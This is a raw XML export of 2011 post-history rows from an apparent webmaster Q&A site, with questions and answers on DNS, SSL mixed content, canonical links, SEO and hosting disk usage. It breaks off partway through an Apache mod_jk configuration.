  <row Id="23195" PostHistoryTypeId="2" PostId="10390" RevisionGUID="1c9b6d42-29df-4dee-901d-f16328e5dba4" CreationDate="2011-03-09T19:45:49.143" UserId="108" Text="I could only find this older documentation about it, http://www.schneier.com/blog/archives/2005/10/us_regulators_r.html.  Long story short US Banks and I believe Credit Card companies are required to use two-factor authentication for their website log in forms.&#xD;&#xA;&#xD;&#xA;As the post discusses it doesn't really solve the problem, it just makes criminals have one more hoop to jump through." />
  <row Id="23196" PostHistoryTypeId="6" PostId="8840" RevisionGUID="28183d86-2781-46cf-bb22-603ccf341427" CreationDate="2011-03-09T19:54:21.753" UserId="1253" Comment="Removed &quot;c#, asp.net &quot; tags, added &quot;database&quot; tag" Text="&lt;mysql&gt;&lt;database&gt;&lt;godaddy&gt;&lt;sql-server&gt;" />
  <row Id="23197" PostHistoryTypeId="2" PostId="10391" RevisionGUID="95dcedd9-65b7-402e-9a42-b50d2cb940ce" CreationDate="2011-03-09T19:57:44.887" UserId="5992" Text="This is kind of a weird case, but if the main site is served unencrypted (for performance reasons probably), but you want users to be able to start the login process from that page, instead of clicking on a &quot;log in&quot; link. Sending your user name unencrypted isn't a big deal, and then you could serve the second part of the login page (the password field) over HTTPS.&#xD;&#xA;&#xD;&#xA;I think it's probably not worth it (more work for programmers, more work for users, tiny tiny decrease in processor work load), but some people might think it's worthwhile.&#xD;&#xA;&#xD;&#xA;Example: &lt;a href=&quot;http://www.firstnational.com&quot;&gt;First National&lt;/a&gt; does this on their home page." />
  <row Id="23198" PostHistoryTypeId="25" PostId="10367" RevisionGUID="5fa8a518-4596-493f-b579-b93c873e38be" CreationDate="2011-03-09T20:23:32.590" Comment="http://twitter.com/#!/StackWebmasters/status/45580499250450432" />
  <row Id="23199" PostHistoryTypeId="2" PostId="10392" RevisionGUID="ac54fd07-4fe7-414f-9ad8-372c2215ebd1" CreationDate="2011-03-09T21:02:27.897" UserId="5806" Text="The proper way to handle this is to use a **canonical link in your header**.&#xD;&#xA;The syntax goes like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.site.com/path-you-want&quot; /&gt;&#xD;&#xA;&#xD;&#xA;**This lets Google know which URL you prefer using for a page.**&#xD;&#xA;&#xD;&#xA;This particularly useful to de-dupliacte pages as you may have multiple addresses that show the same content. A classic example are listings where one parameter controls the sort order (ex: &amp;sort=price). That way if links to different sort orders exist they still get counted as multiple links to the same page.&#xD;&#xA;" />
  <row Id="23200" PostHistoryTypeId="2" PostId="10393" RevisionGUID="af9be2f8-4a32-4671-9ed7-01632540fcf5" CreationDate="2011-03-09T21:02:46.843" UserId="4648" Text="I bought a new website, and the company gived me another free domain name, so when I asked for the socond they created it and they told me to change the DNS to look like the first one.&#xD;&#xA;&#xD;&#xA;It's been a week waiting for it to propagate, today when I type the url I got this error message :&#xD;&#xA;&#xD;&#xA;    If you are the web site owner, it is possible you have reached this page because:&#xD;&#xA;&#xD;&#xA;    * The IP address has changed.&#xD;&#xA;    * There has been a server misconfiguration.&#xD;&#xA;    * The site may have been moved to a different server.&#xD;&#xA;&#xD;&#xA;If you are the owner of this website and were not expecting to see this page, please contact your hosting provider.&#xD;&#xA;&#xD;&#xA;When I try to add the second domain to my cpanel (Addon domain) I get also another error :&#xD;&#xA;&#xD;&#xA;`The addon domain “abcdef.com” has been created.`&#xD;&#xA;&#xD;&#xA;`An account with that login already exists.`&#xD;&#xA;&#xD;&#xA;Do you have any ideas about this problem.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;`EDIT`&#xD;&#xA;&#xD;&#xA;I tried to flush the DNS with `ipconfig /flushdns`, but It's not changing anything." />
  <row Id="23201" PostHistoryTypeId="1" PostId="10393" RevisionGUID="af9be2f8-4a32-4671-9ed7-01632540fcf5" CreationDate="2011-03-09T21:02:46.843" UserId="4648" Text="Problem with DNS" />
  <row Id="23202" PostHistoryTypeId="3" PostId="10393" RevisionGUID="af9be2f8-4a32-4671-9ed7-01632540fcf5" CreationDate="2011-03-09T21:02:46.843" UserId="4648" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;dns&gt;&lt;cpanel&gt;&lt;ip&gt;" />
  <row Id="23203" PostHistoryTypeId="2" PostId="10394" RevisionGUID="24e8e2ad-370e-49f3-b769-a6e0d509e631" CreationDate="2011-03-09T21:08:39.737" UserId="5991" Text="If you do a Google search for &quot;fast food franchise&quot;. You will see that almost all of the results highlight the words &quot;fast&quot;, &quot;food&quot; and &quot;franchise&quot; in the domain name as well the name of the page. &#xD;&#xA;&#xD;&#xA;I didn't see any parameter/values in the results. This suggests that Google doesn't look at the string. It also suggests that the string is ignored but the page is still indexed. It also suggests that Google gives ugly URLs lower scores.&#xD;&#xA;&#xD;&#xA;No matter what Google says they do, you need to look at the evidence. Do you find ugly URLs in the top ten pages for any of your searches?&#xD;&#xA;&#xD;&#xA;I have made it a practice to use keywords throughout the entire URL and to make the URLs completely readable. Here's one of my pages.  Can you guess at what you are going to find on this page?&#xD;&#xA;&#xD;&#xA;http://franchise-minnesota.info/?What-We-Do-Free-Franchise-Advice&#xD;&#xA;&#xD;&#xA;How about this page?&#xD;&#xA;&#xD;&#xA;http://awesomealbums.info/?ac-dc-back-in-black" />
  <row Id="23204" PostHistoryTypeId="2" PostId="10395" RevisionGUID="d5d6f0c0-7ff7-477b-b810-f7407d843379" CreationDate="2011-03-09T21:13:03.730" UserId="67" Text="My company is currently in contract with a 20+ person team in the Philippines, previously used for comment linking and guest blogging spun content articles. This is a practice that we're stopping, but we don't want to sever our team because they work hard, they're really cheap, and they produce excellent accounting and reporting of their actions.&#xD;&#xA;&#xD;&#xA;What are ways that we can best put them to use as a link generating or content generating resource? Their English is fair, but not of high enough quality to use them for any direct content creation.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="23205" PostHistoryTypeId="1" PostId="10395" RevisionGUID="d5d6f0c0-7ff7-477b-b810-f7407d843379" CreationDate="2011-03-09T21:13:03.730" UserId="67" Text="How to effectively use an overseas SEO team?" />
  <row Id="23206" PostHistoryTypeId="3" PostId="10395" RevisionGUID="d5d6f0c0-7ff7-477b-b810-f7407d843379" CreationDate="2011-03-09T21:13:03.730" UserId="67" Text="&lt;seo&gt;&lt;links&gt;&lt;content&gt;&lt;backlinks&gt;" />
  <row Id="23207" PostHistoryTypeId="2" PostId="10396" RevisionGUID="233dea96-e75a-4237-b617-9472bf0e17b7" CreationDate="2011-03-09T21:21:47.317" UserId="5991" Text="For me, it's easier to read hyphens than underscores.  I think it's probably easier for most other people too.&#xD;&#xA;&#xD;&#xA;Hyphens are treated as word dividers, which help your page names be seen as real words, which is a good thing.&#xD;&#xA;&#xD;&#xA;Underscores, in many, if not most, cases are not treated as word dividers, which renders a page name as a big cluster of letters and underscores.  &#xD;&#xA;&#xD;&#xA;This means that -- all other things being equal -- your pages will score lower in most places if you use underscores rather than hyphens in your pages names.  How much lower? Not much. Will this always be the case? No.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23208" PostHistoryTypeId="17" PostId="10398" RevisionGUID="865d5299-f190-4398-8e23-5dd051670d4a" CreationDate="2011-03-09T22:04:35.877" UserId="-1" Comment="from http://stackoverflow.com/questions/5252655/what-is-hosting-space-and-why-is-it-increasing-every-day/5252706#5252706" Text="" />
  <row Id="23209" PostHistoryTypeId="17" PostId="10399" RevisionGUID="09cc3e5a-fab3-4cbe-b3aa-9afc3b5c219b" CreationDate="2011-03-09T22:04:35.877" UserId="-1" Comment="from http://stackoverflow.com/questions/5252655/what-is-hosting-space-and-why-is-it-increasing-every-day/5252711#5252711" Text="" />
  <row Id="23210" PostHistoryTypeId="17" PostId="10400" RevisionGUID="f9ad8741-a27b-442f-afca-3ea2f4269f2b" CreationDate="2011-03-09T22:04:35.877" UserId="-1" Comment="from http://stackoverflow.com/questions/5252655/what-is-hosting-space-and-why-is-it-increasing-every-day/5252770#5252770" Text="" />
  <row Id="23211" PostHistoryTypeId="2" PostId="10398" RevisionGUID="a2320739-a0f5-48eb-a118-fd120ecaf179" CreationDate="2011-03-09T21:58:49.623" UserDisplayName="vbence" Text="May be your logfiles are stored on your userv space (and count towards your quota). You should contact your hosting company or take a look at their admin panel to adjust log settings (how many days of backlog you want to keep, after how many days you want to compress or delete them)." />
  <row Id="23212" PostHistoryTypeId="2" PostId="10399" RevisionGUID="4f120d2f-5cbf-4c0c-b39f-4f8df66a7ad3" CreationDate="2011-03-09T21:59:00.210" UserId="145" Text="I'm going to assume you mean `disk usage` instead of `disk space`.&#xD;&#xA;&#xD;&#xA;Usage will rise because of things like:&#xD;&#xA;&#xD;&#xA; - log files;&#xD;&#xA; - stats that are generated on the server;&#xD;&#xA; - new entries in databases;&#xD;&#xA; - etc." />
  <row Id="23213" PostHistoryTypeId="2" PostId="10400" RevisionGUID="249eac49-ad27-4514-8d7f-b1ccd161d7c7" CreationDate="2011-03-09T22:03:12.553" UserId="5887" Text="Many providers will start you out with a certain amount of storage and slowly increase it by a fixed amount after a certain time period has passed (i.e. they might start you out at 4GB and then add 50MB to your storage for every month you stay with them). Dreamhost does this, for example. That is, an increase in disk space is a good thing." />
  <row Id="23214" PostHistoryTypeId="2" PostId="10397" RevisionGUID="7e6414c4-f091-4984-b270-e2bde6570e38" CreationDate="2011-03-09T21:54:08.327" UserId="890" Text="My hosting's disk space is increasing every day and I just wanted to know, why? I don't upload new files, but it still gets increased by every day. Anyone knows? &#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="23215" PostHistoryTypeId="1" PostId="10397" RevisionGUID="7e6414c4-f091-4984-b270-e2bde6570e38" CreationDate="2011-03-09T21:54:08.327" UserId="890" Text="What is hosting space and why is it increasing every day?" />
  <row Id="23216" PostHistoryTypeId="3" PostId="10397" RevisionGUID="7e6414c4-f091-4984-b270-e2bde6570e38" CreationDate="2011-03-09T21:54:08.327" UserId="890" Text="&lt;php&gt;&lt;mysql&gt;&lt;web-hosting&gt;" />
  <row Id="23217" PostHistoryTypeId="17" PostId="10397" RevisionGUID="c863b30d-22d2-4918-ac1a-91b71acf29f6" CreationDate="2011-03-09T22:04:35.877" UserId="-1" Comment="from http://stackoverflow.com/questions/5252655/what-is-hosting-space-and-why-is-it-increasing-every-day" Text="" />
  <row Id="23218" PostHistoryTypeId="2" PostId="10401" RevisionGUID="325b1a8c-c9a6-452d-a083-8a5acddb4005" CreationDate="2011-03-09T22:08:34.280" UserId="5991" Text="I don't know much about them, but I have been using hostek.com for about a year. I have had only limited contacted with them because they do a good job." />
  <row Id="23219" PostHistoryTypeId="2" PostId="10402" RevisionGUID="8a0b2257-2d5b-4ec6-90f4-ae2a40b99648" CreationDate="2011-03-09T22:11:46.073" UserId="5849" Text="If they can produce high quality comments that actually relate to the things they are commenting on (not spam comments), then that is a great use for a team like that. I know you mentioned that you are stopping the comment linking practice, but that is what I would use them for. &#xD;&#xA;&#xD;&#xA;You could also use them to be active in the social media world for you - given they are trained on how to do this well and not spammy. &#xD;&#xA;&#xD;&#xA;Another use could be for posting content such as videos to the various video sites, although there are automation tools that can help with this. " />
  <row Id="23220" PostHistoryTypeId="10" PostId="10397" RevisionGUID="2002985a-067b-49a6-a0fb-22420bc191c0" CreationDate="2011-03-09T22:52:12.447" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23221" PostHistoryTypeId="11" PostId="10397" RevisionGUID="aa79cafa-13a1-4dda-bb67-ee1ddcf41984" CreationDate="2011-03-09T22:52:25.177" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23222" PostHistoryTypeId="5" PostId="10362" RevisionGUID="fe71b3f4-9a50-4965-abdf-72d17ffec15f" CreationDate="2011-03-09T23:04:38.927" UserId="118" Comment="Fixed the grammar of the question paragraphs." Text="I have some premium domain names ,  and I have received many dispute emails, most of them from china, and I am in the middle east. They are mainly talking about Intellectual property rights regarding my domain names. &#xD;&#xA;&#xD;&#xA;What I should do when I get these kinds of dispute emails?&#xD;&#xA;" />
  <row Id="23223" PostHistoryTypeId="24" PostId="10362" RevisionGUID="fe71b3f4-9a50-4965-abdf-72d17ffec15f" CreationDate="2011-03-09T23:04:38.927" Comment="Proposed by 118 approved by 108 edit id of 57" />
  <row Id="23224" PostHistoryTypeId="2" PostId="10403" RevisionGUID="38cd911f-8d86-49e3-ad25-4660c807b66e" CreationDate="2011-03-09T23:13:03.143" UserId="5991" Text="I use hostek.com to host dozens of my sites. I run ColdFusion 9 and SQL Server, but they have many other configurations available, including PHP and MySQL.&#xD;&#xA;&#xD;&#xA;I have a developer account. I get five distinct sites for $25 per month. Each sites gets its own database.  Additional sites are like $4 each.  &#xD;&#xA;&#xD;&#xA;I have had zero issues with the company over the course of a year.&#xD;&#xA;&#xD;&#xA;You can check one of my sites out here:&#xD;&#xA;&#xD;&#xA;http://www.franchise-minnesota.info/" />
  <row Id="23225" PostHistoryTypeId="25" PostId="10395" RevisionGUID="f84e7e4a-12de-45cc-ba1c-68a501d685fe" CreationDate="2011-03-09T23:23:32.837" Comment="http://twitter.com/#!/StackWebmasters/status/45625798501203968" />
  <row Id="23226" PostHistoryTypeId="2" PostId="10404" RevisionGUID="531f4e99-3518-4c98-888e-d5086f13827f" CreationDate="2011-03-09T23:31:41.053" UserId="5994" Text="I had been trying to use SSL for the following site![enter image description here][1] http://bit.ly/e8Lj32 ,&#xD;&#xA; although the SSL certificate is signed properly by networksolutions , each time the pages are loaded it still displays an SSl warning in browser warning &#xD;&#xA;&quot;Some parts of the site are not using SSL&quot; , in I.E, its even worst if you hit &quot;no I dont want view unsecured part of the page&quot; site does not display properly (as it blocks some of the widgets)&#xD;&#xA;&#xD;&#xA;screenshots upped at&#xD;&#xA;&#xD;&#xA;http://i.stack.imgur.com/fm5GO.png" />
  <row Id="23227" PostHistoryTypeId="1" PostId="10404" RevisionGUID="531f4e99-3518-4c98-888e-d5086f13827f" CreationDate="2011-03-09T23:31:41.053" UserId="5994" Text="fully encrypt website using SSL" />
  <row Id="23228" PostHistoryTypeId="3" PostId="10404" RevisionGUID="531f4e99-3518-4c98-888e-d5086f13827f" CreationDate="2011-03-09T23:31:41.053" UserId="5994" Text="&lt;apache&gt;&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="23229" PostHistoryTypeId="2" PostId="10405" RevisionGUID="ae32846c-2339-43de-b9f8-3c88b59507f6" CreationDate="2011-03-09T23:37:34.027" UserId="1253" Text="You have to make sure all of the files on that page are called over HTTPS. This includes:&#xD;&#xA;&#xD;&#xA;- Images&#xD;&#xA;- Stylesheets&#xD;&#xA;- JavaScripts&#xD;&#xA;- Objects (i.e. Flash)&#xD;&#xA;- Frames/Iframes&#xD;&#xA;- Files from other websites (Facebook, Twitter, etc)" />
  <row Id="23230" PostHistoryTypeId="5" PostId="10404" RevisionGUID="7b3971a7-5d96-4d7f-aa6b-96a13a1c7edb" CreationDate="2011-03-09T23:44:41.977" UserId="1253" Comment="Fixed URL issue" Text="I had been trying to use SSL for the following site http://bit.ly/e8Lj32 ,&#xD;&#xA; although the SSL certificate is signed properly by networksolutions , each time the pages are loaded it still displays an SSl warning in browser warning &#xD;&#xA;&quot;Some parts of the site are not using SSL&quot; , in I.E, its even worst if you hit &quot;no I dont want view unsecured part of the page&quot; site does not display properly (as it blocks some of the widgets)&#xD;&#xA;&#xD;&#xA;screenshots upped at&#xD;&#xA;&#xD;&#xA;http://i.stack.imgur.com/fm5GO.png" />
  <row Id="23231" PostHistoryTypeId="5" PostId="10405" RevisionGUID="640f22fb-17fb-49b7-85a5-ddb45fbc41e3" CreationDate="2011-03-09T23:46:17.047" UserId="1253" Comment="added 83 characters in body" Text="You have to make sure all of the files on that page are called over HTTPS. This includes:&#xD;&#xA;&#xD;&#xA;- Images&#xD;&#xA;- Stylesheets&#xD;&#xA;- JavaScripts&#xD;&#xA;- Objects (i.e. Flash)&#xD;&#xA;- Frames/Iframes&#xD;&#xA;- Files from other websites (Facebook, Twitter, etc)&#xD;&#xA;&#xD;&#xA;I see some CSS that is not loaded over SSL that probably is causing your issue." />
  <row Id="23232" PostHistoryTypeId="2" PostId="10406" RevisionGUID="b4f187cf-0528-4590-8a35-056f75686454" CreationDate="2011-03-09T23:59:20.717" UserId="5157" Text="First verify that the nameservers are right. Then in cPanel under Addon Domains make sure it's not in there, it is then delete it and re-add it. If you still get the error you need to contact your host. There is something mis-configured in your cPanel account that they can easily fix. " />
  <row Id="23233" PostHistoryTypeId="2" PostId="10407" RevisionGUID="82e3c16f-4e4f-4ecb-ba4d-4347f9a8baeb" CreationDate="2011-03-10T00:38:02.963" UserId="849" Text="Ask a stupid queston here.&#xD;&#xA;&#xD;&#xA;As I know there is a phpinfo() function to view php hosting as a info page.&#xD;&#xA;Is there a asp/asp.net info page for an asp/asp.net hosting?&#xD;&#xA; " />
  <row Id="23234" PostHistoryTypeId="1" PostId="10407" RevisionGUID="82e3c16f-4e4f-4ecb-ba4d-4347f9a8baeb" CreationDate="2011-03-10T00:38:02.963" UserId="849" Text="Asp/asp.net Hosting Info Page" />
  <row Id="23235" PostHistoryTypeId="3" PostId="10407" RevisionGUID="82e3c16f-4e4f-4ecb-ba4d-4347f9a8baeb" CreationDate="2011-03-10T00:38:02.963" UserId="849" Text="&lt;web-hosting&gt;" />
  <row Id="23236" PostHistoryTypeId="14" PostId="10407" RevisionGUID="34c2b240-7fab-4625-802f-83494db1ca67" CreationDate="2011-03-10T00:42:14.647" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="23237" PostHistoryTypeId="17" PostId="10407" RevisionGUID="34c3be93-5dd8-4770-bff9-930994ad2384" CreationDate="2011-03-10T00:42:14.647" UserId="1253" Comment="to http://stackoverflow.com/questions/5254187/asp-asp-net-hosting-info-page" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23238" PostHistoryTypeId="10" PostId="10407" RevisionGUID="11820bd0-59c7-440f-99a2-73ed75844219" CreationDate="2011-03-10T00:42:14.630" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23239" PostHistoryTypeId="11" PostId="10407" RevisionGUID="fb03c36f-5adb-41bd-b2b6-3f025cb4f920" CreationDate="2011-03-10T00:54:00.783" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23243" PostHistoryTypeId="2" PostId="10409" RevisionGUID="ca025bfe-bc91-4099-8af8-48acb52a88c6" CreationDate="2011-03-10T01:17:38.750" UserId="5041" Text="Try SearchBlox which comes with an api." />
  <row Id="23244" PostHistoryTypeId="2" PostId="10410" RevisionGUID="1382b55e-e6aa-4220-abd5-43135763dd60" CreationDate="2011-03-10T01:33:54.043" UserId="67" Text="The competition of one of my company's websites has started a really dirty campaign of acquiring hack links. One of their ingenious tactics has been to seed in links to OUR site withing their hack bot, making US look like we might be responsible for it or using us to cover their tail.&#xD;&#xA;&#xD;&#xA;These are .gov and .edu sites.&#xD;&#xA;&#xD;&#xA;Is there any way possible to discredit these links? To disavow them at all?" />
  <row Id="23245" PostHistoryTypeId="1" PostId="10410" RevisionGUID="1382b55e-e6aa-4220-abd5-43135763dd60" CreationDate="2011-03-10T01:33:54.043" UserId="67" Text="How to discredit hacked links pointing at my company's website" />
  <row Id="23246" PostHistoryTypeId="3" PostId="10410" RevisionGUID="1382b55e-e6aa-4220-abd5-43135763dd60" CreationDate="2011-03-10T01:33:54.043" UserId="67" Text="&lt;hacking&gt;&lt;hack-links&gt;&lt;edu&gt;&lt;gov&gt;" />
  <row Id="23247" PostHistoryTypeId="5" PostId="10409" RevisionGUID="c1f7f9f1-5010-438e-9880-aac8db7ab6dd" CreationDate="2011-03-10T02:04:06.063" UserId="108" Comment="added 44 characters in body" Text="Try [SearchBlox][1] which comes with an api.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchblox.com/" />
  <row Id="23248" PostHistoryTypeId="2" PostId="10411" RevisionGUID="204f0ba8-6d22-4369-9b0f-5cbd1e6e9c8a" CreationDate="2011-03-10T02:06:46.187" UserId="108" Text="If you are concerned, I would contact the site administrators for the sites that have your link erroneously and request them to take it down.  You can also let them know that a bot has been doing this so they can increase their security." />
  <row Id="23249" PostHistoryTypeId="5" PostId="10407" RevisionGUID="37e6d77e-32be-4363-88d2-591776eb1427" CreationDate="2011-03-10T02:07:16.560" UserId="108" Comment="deleted 40 characters in body" Text="As I know there is a phpinfo() function to view php hosting as a info page.&#xD;&#xA;Is there a asp/asp.net info page for an asp/asp.net hosting?&#xD;&#xA; " />
  <row Id="23253" PostHistoryTypeId="25" PostId="10410" RevisionGUID="0204173d-7097-4208-8e50-d983f35190e9" CreationDate="2011-03-10T02:23:32.593" Comment="http://twitter.com/#!/StackWebmasters/status/45671096233639936" />
  <row Id="23254" PostHistoryTypeId="17" PostId="10413" RevisionGUID="cef2f8dd-f09e-4d7d-a285-c4004d8d885e" CreationDate="2011-03-10T02:40:16.297" UserId="-1" Comment="from http://stackoverflow.com/questions/5237869/how-can-i-track-visits-to-all-of-the-subpages-of-my-website-combined-together/5240815#5240815" Text="" />
  <row Id="23255" PostHistoryTypeId="2" PostId="10413" RevisionGUID="6cbba377-28e1-41bf-af50-01bb4b03094b" CreationDate="2011-03-09T03:00:40.653" UserId="5718" Text="I'm confused about the issue here - On Google Analytics this is in the top &quot;site usage&quot; section of the dashboard and on statcounter it's on the &quot;summary&quot; report (the first one on the list). " />
  <row Id="23256" PostHistoryTypeId="2" PostId="10412" RevisionGUID="e7fb5243-a745-4661-8750-572f33551d3e" CreationDate="2011-03-08T20:21:42.223" UserDisplayName="realcheesypizza" Text="Right now im using statcounter and google analytics. They are great. But my counts are currently separated. Ex: website.com = 1000 visits a day, website.com/about = 50 visits a day, website.com/privacy = 10 visits a day, etc..&#xD;&#xA;&#xD;&#xA;How can have a combined count of all of my sub-pages? (mainpage + about page + about 100 other sub-pages )&#xD;&#xA;&#xD;&#xA;I can of course manually add them all together, but that's time consuming because there are many pages. I tried placing a separate tracking code in a php include that sits in each of the sub-pages, but it doesnt seem to be working. It seems to require a single URL to create it, which it then only counts the visits from the one url, rather than ALL of them. Ex: website.com)&#xD;&#xA;&#xD;&#xA;Any help would be appreciated. Hopefully im just missing something very obvious. Thank you!" />
  <row Id="23257" PostHistoryTypeId="1" PostId="10412" RevisionGUID="e7fb5243-a745-4661-8750-572f33551d3e" CreationDate="2011-03-08T20:21:42.223" UserDisplayName="realcheesypizza" Text="how can i track visits to ALL of the subpages of my website COMBINED TOGETHER?" />
  <row Id="23258" PostHistoryTypeId="3" PostId="10412" RevisionGUID="e7fb5243-a745-4661-8750-572f33551d3e" CreationDate="2011-03-08T20:21:42.223" UserDisplayName="realcheesypizza" Text="&lt;google-analytics&gt;" />
  <row Id="23259" PostHistoryTypeId="17" PostId="10412" RevisionGUID="f79c1c9f-fd7d-4beb-af57-8c77409de945" CreationDate="2011-03-10T02:40:16.297" UserId="-1" Comment="from http://stackoverflow.com/questions/5237869/how-can-i-track-visits-to-all-of-the-subpages-of-my-website-combined-together" Text="" />
  <row Id="23263" PostHistoryTypeId="2" PostId="10415" RevisionGUID="f09a1920-a3dc-4af9-b992-639526c0d5ae" CreationDate="2011-03-10T03:49:59.887" UserId="5998" Text="The alt tag is overrated.  I think too many people go out of their way to make sure they have alt tags on their pages. I don't believe it hurts you to not have one. It's just a matter of making sure if you have an img, you have an alt tag assigned to it.&#xD;&#xA;&#xD;&#xA;I believe load time and site performance has a bigger impact on seo overall than alt tags do and for every image request or http request, the site is going to slow down.  The purpose of a css sprite is to help minimize those requests and to speed up your page load time." />
  <row Id="23267" PostHistoryTypeId="2" PostId="10417" RevisionGUID="34e952bb-0abd-4353-bb0f-09db55cd6517" CreationDate="2011-03-10T04:05:08.550" UserId="5998" Text="Float both left or use inline-block.  You can also just float the first one left." />
  <row Id="23268" PostHistoryTypeId="2" PostId="10418" RevisionGUID="169dc1ee-1cfa-4bab-a34f-8aa932155d20" CreationDate="2011-03-10T04:10:55.907" UserId="5998" Text="I haven't used this one, but it looks really promising. [http://sescout.com/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sescout.com/" />
  <row Id="23270" PostHistoryTypeId="2" PostId="10420" RevisionGUID="f7d01a28-1ed5-48d2-92f5-f15705ad62f3" CreationDate="2011-03-10T04:37:23.050" UserId="5810" Text="I would highly recommend that you (if you don't already have it) download FireFox and install the Web Developer Toolbar plugin.  This plugin is GREAT for tracking down problems like this.  Under the CSS portion of this toolbar when you're viewing the page with the issue you can select to &quot;View Style Information&quot;.  Then just click on the divs that are the issue on the page.  Off to the left you should see a little window pop up that shows all the styling that is affecting those divs and what css source they are coming from.  With CSS if you rely on &quot;bug&quot; fixes to fix things that aren't really bugs then you'll just cause more headache later on in most cases." />
  <row Id="23280" PostHistoryTypeId="25" PostId="10404" RevisionGUID="249faede-0708-464d-8b37-482a3f1a9c2a" CreationDate="2011-03-10T05:23:32.413" Comment="http://twitter.com/#!/StackWebmasters/status/45716393932500992" />
  <row Id="23281" PostHistoryTypeId="2" PostId="10422" RevisionGUID="bbb1228b-8f47-4f36-ab30-f5727da82caf" CreationDate="2011-03-10T06:21:07.387" UserId="3822" Text="I heard that some web sites crawl web to build a directory of companies in a niche domain. So, when people search for the name of the company they find that directory page. &#xD;&#xA;&#xD;&#xA;I wonder if this is really effective? Isn't this considered as duplicate content since the presented information was collected from some web site?&#xD;&#xA;" />
  <row Id="23282" PostHistoryTypeId="1" PostId="10422" RevisionGUID="bbb1228b-8f47-4f36-ab30-f5727da82caf" CreationDate="2011-03-10T06:21:07.387" UserId="3822" Text="Crawling web to build a directory of a niche industry for SEO" />
  <row Id="23283" PostHistoryTypeId="3" PostId="10422" RevisionGUID="bbb1228b-8f47-4f36-ab30-f5727da82caf" CreationDate="2011-03-10T06:21:07.387" UserId="3822" Text="&lt;seo&gt;&lt;crawling&gt;&lt;directory-listing&gt;" />
  <row Id="23285" PostHistoryTypeId="2" PostId="10424" RevisionGUID="4854c995-7ef5-4f21-8d26-7778de5b6b77" CreationDate="2011-03-10T06:50:40.887" UserId="3822" Text="Mark Wilson says that category and tag listings in a blog should be disallowed in order [to prevent duplicate content][1]. I understand this. &#xD;&#xA;&#xD;&#xA;However, I want to put internal links on keywords in the blog posts to the tag and category pages in order for the readers to find more relevant content.&#xD;&#xA;&#xD;&#xA;I wonder whether putting those internal links to the category/tag pages which are disallowed in robots.txt is counted as useful from the perspective of SEO internal linking? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.markwilson.co.uk/blog/2007/04/removing-duplicate-search-engine-content-using-robotstxt.htm" />
  <row Id="23286" PostHistoryTypeId="1" PostId="10424" RevisionGUID="4854c995-7ef5-4f21-8d26-7778de5b6b77" CreationDate="2011-03-10T06:50:40.887" UserId="3822" Text="To disallow indexing the category and tag listings in a blog" />
  <row Id="23287" PostHistoryTypeId="3" PostId="10424" RevisionGUID="4854c995-7ef5-4f21-8d26-7778de5b6b77" CreationDate="2011-03-10T06:50:40.887" UserId="3822" Text="&lt;seo&gt;&lt;links&gt;&lt;robots.txt&gt;" />
  <row Id="23288" PostHistoryTypeId="25" PostId="10366" RevisionGUID="b62e7ee7-84d2-4a7f-bea9-4697d98eff82" CreationDate="2011-03-10T08:23:32.413" Comment="http://twitter.com/#!/StackWebmasters/status/45761692445061120" />
  <row Id="23289" PostHistoryTypeId="2" PostId="10425" RevisionGUID="2bedd857-7d6d-48f6-90d4-5a5fa684c5aa" CreationDate="2011-03-10T08:45:44.993" UserId="6001" Text="I want to launching a new website in 2/3 months.&#xD;&#xA;But I have no idea how the users will find my website.&#xD;&#xA;&#xD;&#xA;Is there a book available or some good tutorials?&#xD;&#xA;&#xD;&#xA;Thanks for the help in advance." />
  <row Id="23290" PostHistoryTypeId="1" PostId="10425" RevisionGUID="2bedd857-7d6d-48f6-90d4-5a5fa684c5aa" CreationDate="2011-03-10T08:45:44.993" UserId="6001" Text="Launching a new website" />
  <row Id="23291" PostHistoryTypeId="3" PostId="10425" RevisionGUID="2bedd857-7d6d-48f6-90d4-5a5fa684c5aa" CreationDate="2011-03-10T08:45:44.993" UserId="6001" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;sem&gt;" />
  <row Id="23293" PostHistoryTypeId="2" PostId="10426" RevisionGUID="32466114-b562-4777-b4cf-b89729bc3e55" CreationDate="2011-03-10T09:54:48.933" UserId="6002" Text="Ok&#xD;&#xA;&#xD;&#xA;So I installed Apache httpd a while ago and have recently come back to it to try setup SSL and get it serving several different tomcat servers.&#xD;&#xA;&#xD;&#xA;At the moment I have two completely separate tomcat instances serving up to slightly different versions (one for dev and one for demo say) my web app to two different ports;&#xD;&#xA;    mydomain.com:8081 and mydomain.com:8082&#xD;&#xA;&#xD;&#xA;I've successfully (back in Jan) used mod_jk to get httpd to serve those same tomcat instances to http://www.mydomain.com:8090/dev and http://www.mydomain.com:8090/demo  (8090 cos I've got another app running on 8080 via Jetty at this stage) using the following code in httpd.conf;&#xD;&#xA;&#xD;&#xA;    LoadModule jk_module modules/mod_jk.so&#xD;&#xA;    JkWorkersFile conf/workers.properties&#xD;&#xA;    JkLogFile logs/mod_jk.log&#xD;&#xA;    JkLogLevel debug&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:8090&gt;&#xD;&#xA;        JkMount /devd* 